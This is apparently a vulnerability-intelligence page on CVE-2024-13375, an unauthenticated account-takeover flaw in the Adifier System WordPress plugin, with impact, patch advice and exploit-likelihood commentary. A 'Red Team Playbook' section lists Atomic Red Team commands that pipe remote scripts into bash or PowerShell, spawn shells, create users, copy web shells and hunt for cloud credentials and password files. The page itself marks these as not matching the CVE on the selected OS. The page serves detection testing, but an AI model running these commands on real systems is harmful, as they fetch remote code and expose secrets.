CVE-2024-13375
Overview
This vulnerability is a privilege escalation caused by improper authentication validation within the spoonthemes Adifier System WordPress plugin. Specifically, the adifier_recover() function fails to verify the identity of users before allowing password updates. This flaw affects all versions up to and including 3.1.7, compromising the password recovery mechanism's integrity and enabling unauthorized modifications to user credentials.
Vulnerability Description
The Adifier System plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.1.7. This is due to the plugin not properly validating a user's identity prior to updating their details like password through the adifier_recover() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.
Impact
An unauthenticated attacker can exploit this vulnerability to reset passwords for any user account, including administrative accounts, thereby gaining full access to the affected WordPress site. This enables complete account takeover and potential unauthorized control over site content and configurations. The attack requires only network access to the WordPress instance hosting the vulnerable plugin, with no user interaction or prior authentication needed, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users of the spoonthemes Adifier System plugin should upgrade to a version later than 3.1.7 where this vulnerability is addressed. Detailed patch and update instructions are available through the WordFence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fbf2aeed-0f18-4ef6-aff8-9e8c4531d789. No specific workaround is provided, so immediate upgrade is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Adifier System plugin for WordPress stems from inadequate validation of user identity during the password recovery process. Specifically, the flaw exists within the adifier_recover() function, which fails to authenticate users before allowing them to update their account details. This oversight permits unauthenticated attackers to exploit the system by initiating password recovery requests for any user, including those with administrative privileges. As a result, attackers can easily change passwords and gain unauthorized access to user accounts, leading to potential account takeover.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could leverage social engineering techniques to gather information about target users, such as their usernames or email addresses. Once this information is obtained, the attacker can initiate the password recovery process and manipulate the system to reset the password without proper authentication. This method is particularly concerning as it does not require any prior access to the system, making it accessible to a wide range of malicious actors. Furthermore, the simplicity of the attack process means that even individuals with limited technical skills can execute it effectively.
The real-world impact of this vulnerability is significant, especially for organizations relying on the Adifier System plugin for their WordPress sites. Successful exploitation can lead to unauthorized access to sensitive information, including user data, financial details, and proprietary content. For businesses, this translates to severe reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Additionally, the financial implications of remediation efforts, including incident response, system audits, and potential regulatory fines, can be substantial. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from organizations using the affected plugin.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to update the Adifier System plugin to the latest version, which includes patches addressing this security flaw. Regularly reviewing and updating all plugins and themes used in WordPress installations is essential to minimize exposure to known vulnerabilities. Additionally, organizations should enforce strong password policies and implement multi-factor authentication (MFA) for all user accounts, particularly those with administrative privileges. This adds an extra layer of security, making it more challenging for attackers to gain unauthorized access even if they manage to change a password.
Monitoring user account activity can also aid in detecting suspicious behavior indicative of account takeover attempts. Implementing logging and alerting mechanisms to track password reset requests and unusual login patterns can provide early warnings of potential exploitation. Organizations should also conduct regular security audits and vulnerability assessments to identify and remediate weaknesses in their systems proactively. By adopting a comprehensive approach to security that includes timely updates, strong authentication measures, and continuous monitoring, organizations can significantly reduce the risk associated with this vulnerability and protect their digital assets from malicious actors.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-13375, rising by nearly 30% to place it within the top percentile of predicted exploit likelihood. This upward trend, although not classified as rapidly accelerating, indicates growing attacker interest and potential preparatory activity targeting the Adifier System plugin vulnerability. While no new exploit code or active campaigns have been identified through our telemetry, the elevated EPSS score suggests that threat actors may be refining or developing exploitation methods, increasing the probability of imminent attacks. For defenders, this shift underscores the urgency of prioritizing this vulnerability in risk management processes, as the likelihood of exploitation is becoming more pronounced. Consequently, the threat level for CVE-2024-13375 should be considered heightened, warranting increased vigilance and proactive monitoring to detect early signs of exploitation attempts.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-13375 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/fbf2aeed-0f18-4ef6-aff8-9e8c4531d789?source=cve |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/adifier-classified-ads-wordpress-theme/21633950 |